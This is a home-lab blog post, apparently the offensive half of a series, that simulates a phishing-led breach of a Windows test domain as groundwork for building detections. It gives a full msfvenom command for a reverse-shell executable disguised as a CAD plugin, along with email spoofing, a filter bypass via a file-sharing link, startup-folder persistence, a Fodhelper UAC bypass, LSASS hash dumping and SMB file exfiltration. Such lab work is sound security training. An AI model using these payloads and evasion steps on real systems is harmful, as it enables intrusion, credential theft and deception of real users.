Simulating a Real-World Attack: The Breach Begins
- Jv Cyberguard
- May 25
- 8 min read
In this post, we’re going to simulate a breach on an endpoint in our domain, investigate the activity through logs, and build the detections needed to catch it next time.
I’ll be using the same home lab I set up a while back — a hybrid environment built for both offensive and defensive testing. It’s equipped with Defender XDR and the full E5 security stack, all configured at no cost. Whether you’re following along or adapting this to your own setup, this lab gives you a solid foundation for realistic attack simulations and practical detection engineering.
This lab assumes the following:
That you have Sysmon installed on your endpoints and have also configured some advanced audit policy configurations for logging over GPO. The instructions from my home lab build are over 2 years old and don't contain a Sysmon deployment, so that is something you would have to research and build out on your own if you wish to complete this lab.
That you have a Splunk Developer License which functions like a Enterprise license and you have 10g of data ingested daily for free.
That you have a Microsoft E5 Developer License gives us access to all of the Microsoft Security Suite.
That you have a GPO to disable defender in place and turn off firewalls. We're not trying to be some aficionado hacker here, we just want to demonstrate the TTPs on the path of least resistance, so we can hunt, do some investigation and analysis, and create some detections.
The specific points I have mention above are steps that might not have been in my HomeLab at the point of it's creation and would require you to research and build them out. However, you'd get all the infrastructure setup to get you going.
Link to home lab series below:
On the offensive
We'll simulate a breach on a user's PC within our victim domain and walk through TTPs spanning multiple stages of the attack chain. These include:
Resource Development – crafting a malicious payload using msfvenom
Initial Access – delivering the payload via phishing
Execution – user-triggered launch of the malicious file
Command and Control – establishing a Meterpreter reverse shell
Privilege Escalation – bypassing UAC via Fodhelper
Credential Access – dumping credentials from LSASS
Discovery – enumerating accessible SMB shares (T1135 – Network Share Discovery)
Collection – accessing sensitive files (e.g., passport.adml)
Exfiltration – retrieving data over an SMB session
Using the Kali VM in the Network diagram above, we will build our payload using msfvenom and deliver it over email to a user in the victim domain environment (the IP address for my KaliVM in this lab is currently 192.168.1.11 not 192.168.1.10).
msfvenom is a Metasploit tool that is used to create payloads as independent files rather than directly executing them on the target machine.
The command we will run in Kali Linux to generate our payload is:
msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -f exe -o CAD-plugin.exe LHOST=192.168.1.11 LPORT=443
-p windows/x64/meterpreter/reverse_tcp→ -p specifies the payload to use. In this case, it’s a 64-bit Windows Meterpreter payload that uses a reverse TCP connection to connect back to our Kali machine.
--platform windows→ This tells msfvenom that the target platform is Windows (important for format and architecture compatibility).
-f exe→ -f specifies the output file format, which is .exe here, meaning a Windows executable.
-o CAD-plugin.exe→ -o sets the name of the output file. This will generate a malicious executable named CAD-plugin.exe.
LHOST=192.168.1.11→ LHOST is the local host IP address — this is our attack machine’s IP that the victim’s payload will connect back to.
LPORT=443→ LPORT is the local port your attack machine will listen on to receive the reverse shell. Port 443 is commonly used to blend in with HTTPS traffic.
The spoof emailer we are going to use is https://emkei.cz/
Let us setup the scenario for this Lab.
Jimmy Caron works in manufacturing engineering at JvHomeLab and from his LinkedIn we see that he interacts often with a John Smith who also works in that space, but for a company called DextersLab. After some further digging we found John Smith's email. We will spoof John's email and attach this new CAD plugin hoping that through familiarity and excitement around a new tool that he executes the fake plugin for CAD (our malicious payload).
Using the spoof mailer tool we created the following.
Before, we hit send we have to setup our Metasploit exploit/multi/ handler so that when Jimmy executes the CAD-plugin.exe file and the payload reaches out, our attacker machine is ready to receive and establish the connection.
Open a new tab in the terminal and start Metasploit.
Enter the command use exploit/multi/handler.
exploit/multi/handler is a Metasploit exploit module used to handle incoming connections from payloads — such as the one we generated by msfvenom.
Next we have to configure the payload options, both the LHOST (the listening IP of our attacker IP) and the LPORT (our listening port).
Also, at this time, set the payload for the exploit/multi/handler to match the payload we used in the file we created (I show you I do this below). This is important. If you don't do this the handler won't handle the connection well, instead the shell will continually close.
For example, initially I had forgot to change the payload option from generic/shell_reverse_tcp to windows/x64/meterpreter/reverse_tcp and the connection would close right away due to it's inability to send the appropriate shell to the attacker machine. See the screenshot below this is what would happen when I ran the exploit/multi/handler and then executed the Cad-plugin.exe file on Jimmy's machine.
However, upon changing the payload in the exploit/multi/handler to match that for the CAD-plugin.exe file, we were able to establish the reverse shell.
Once set, we now enter run.
Our Kali machine is now ready for Jimmy to screw up. Hit send on the email.
The email was blocked by Defender for Officer 365 (MDO) Anti-malware policy. MDO has an extension list and blocks emails with exe extension among others. It also detonates these attachments in the sandbox. We will have to find a way to work around this because the emails are not even being delivered to quarantined, just straight up dropped and sends NDRs. For this scenario change the action from Reject to Quarantine.
Changing the action on the policy didn't work either, so we have to think like a hacker, what is a crafty way for us to get pass the email filters?
One thing we can do instead is use Wetransfer and append the link to the email instead of the file and see if it delivers.
This time it delivered but went to Junk. That's good enough for this lab.
We navigate to Jimmy's outlook and......
Unfortunately or fortunately Jimmy clicks on the email.
Keep anyway.
We receive another warning but instead we choose to run anyway.
Phew.... Looks like nothing happened.
Well something actually did!
From the Image above we see the following occurred.
[*] Started reverse TCP handler on 192.168.1.11:443
Metasploit is now listening on our attack machine (192.168.1.11) at port 443, waiting for a connection from the victim.
[*] Sending stage (200774 bytes) to 192.168.2.30
The victim (192.168.2.30) executed the payload and made a reverse TCP connection back to our attacker machine.
Now that the connection is established, Metasploit sends the Meterpreter “stage”, which is:
A more fully-featured payload
Approx. 200 KB of code that sets up the full Meterpreter shell
This is how staged payloads work:
Initial connection: small stub connects back
After connection: attacker sends full Meterpreter functionality
We can think of it like this: the victim downloads the rest of the malware after calling home.
[*] Meterpreter session 494 opened (192.168.1.11:443 → 192.168.2.30:49791)
The Meterpreter session is now live. We now have full command-and-control over the victim machine through the shell that was just set up.
192.168.1.11:443 = our listener
192.168.2.30:49791 = victim’s outbound port
To gather information on the device we can run the following commands.
execute -if systeminfo which will run interactively on a CMD on the victim machine and return system information. Typically though we would want to be stealthy so it would be better to run sysinfo.
We can also use the shell command in Meterpreter to spawn a standard cmd.exe shell, giving us direct access to perform further discovery and other hands-on keyboard activity.
To generate telemetry let's run whoami and net user.
To maintain access in case Jimmy shuts down or reboots his machine, we need to establish persistence. We'll copy our malicious payload to the Startup folder and rename it to something inconspicuous like adobe-sync.exe — a name that blends in with legitimate software and lowers the chance of drawing attention.
Let's say Jimmy restarts his PC because he realizes it's moving slow. Our established connection to his machine dies, however, in another tab we have another exploit/multi/handler already running.
On startup it's able to reconnect since in another terminal tab, we setup our handler to receive the incoming connection once Jimmy connects. Again, we're live.
To wrap up let's discover what else is on the network. Use the ARP scanner post exploit module. Metasploit has a search feature, so we use that and select the ARP scanner.
Typing info will tell us more about this post exploit module, but essentially it comes in handy for some light weight host discovery.
We set the target hosts to the /24 subnet of Jimmy's machine to see what else we find.
We click run and we find the following active hosts.
Let's check open ports on 192.168.2.10 to setup for a potential pivot. Metasploit also has an auxiliary module that we can use for port scanning. The one we are going to use is the auxiliary/scanner/portscan/tcp
We will use Meterpreter route to forward our scanning traffic through our compromised host 192.168.1.30 over session 500. Then run the scan. (The sessions numbers are all over the place as things break and I fix them throughout the process. The instructions I present here though is consistent with what works).
We see 192.168.2.10 has ports 88 and LDAP ports 389, 636 open which leads us to believe this is a domain controller. There is also port 445 open which is SMB. Let us navigate back to the shell for Jimmy's machine and check to see if there are any mapped shares.
Going back to CMD and running net use we see the following share mapped and it's from the host we scanned what appears to be the DC.
Navigating to the Z share, we seem some files.
Type in Exit and let's exfiltrate some of the files from the share.
We can now see the file on our attacker machine.
Let's run whoami /groups to check Jimmy's group memberships. From the output, it appears he is a local administrator. That's great news for us, but bad news for him. Next, let's try the hashdump command in Meterpreter to dump credentials.
As expected, it fails. That's because we are currently operating in the context of the Jimmy Caron user account, and hashdump requires SYSTEM-level privileges to access memory from the lsass.exe process. To move forward, we'll need to elevate our privileges. Let's look for a UAC bypass to help us do this.
Before jumping straight into a UAC bypass, I tried the getsystem command to see if any of the built-in Meterpreter techniques would escalate privileges for us. This command attempts several known methods — like named pipe impersonation, token duplication, and various RPC variants — but they all failed. That’s because while Jimmy is a local administrator, I learned that UAC still enforces a boundary between admin-level users and SYSTEM-level privileges. Since we’re running in a medium integrity context, these techniques won’t succeed unless UAC has already been bypassed.
At this point, I backgrounded the session and began actively searching for a reliable UAC bypass to elevate privileges and get access to LSASS.
I chose fodhelper for the UAC bypass because it’s a built-in, trusted binary in Windows that can auto-elevate without triggering a UAC prompt when called the right way.
The Fodhelper bypass let me launch a new process with elevated privileges, but that alone wasn’t enough to dump hashesed
Even though we now had a high-integrity shell (admin access), we still weren’t running as SYSTEM. That’s why we needed to run getsystem, which uses our elevated context to attempt full SYSTEM-level access. This time, it worked — because the Fodhelper bypass successfully elevated our process, giving us the privileges needed for getsystem to do its job.
Even after elevation, for hashdump to work we have to migrate our meterpreter shell to inside the lsass.exe service
Once we've done that we can now dump creds.
We delivered the payload, gained initial access, bypassed UAC, escalated to SYSTEM, dumped credentials, and accessed sensitive files over SMB. Each step reflected real-world techniques that could be used in an actual intrusion, and now it’s time to switch perspectives.
That's the end of the offensive piece. We could have lot's more fun with this but let us put on our blue hats now and investigate the TTPs we performed by using Sysmon logs in our Splunk SIEM and then see what detections we can create as a result.
Part 2: Logs Don't Lie
Comments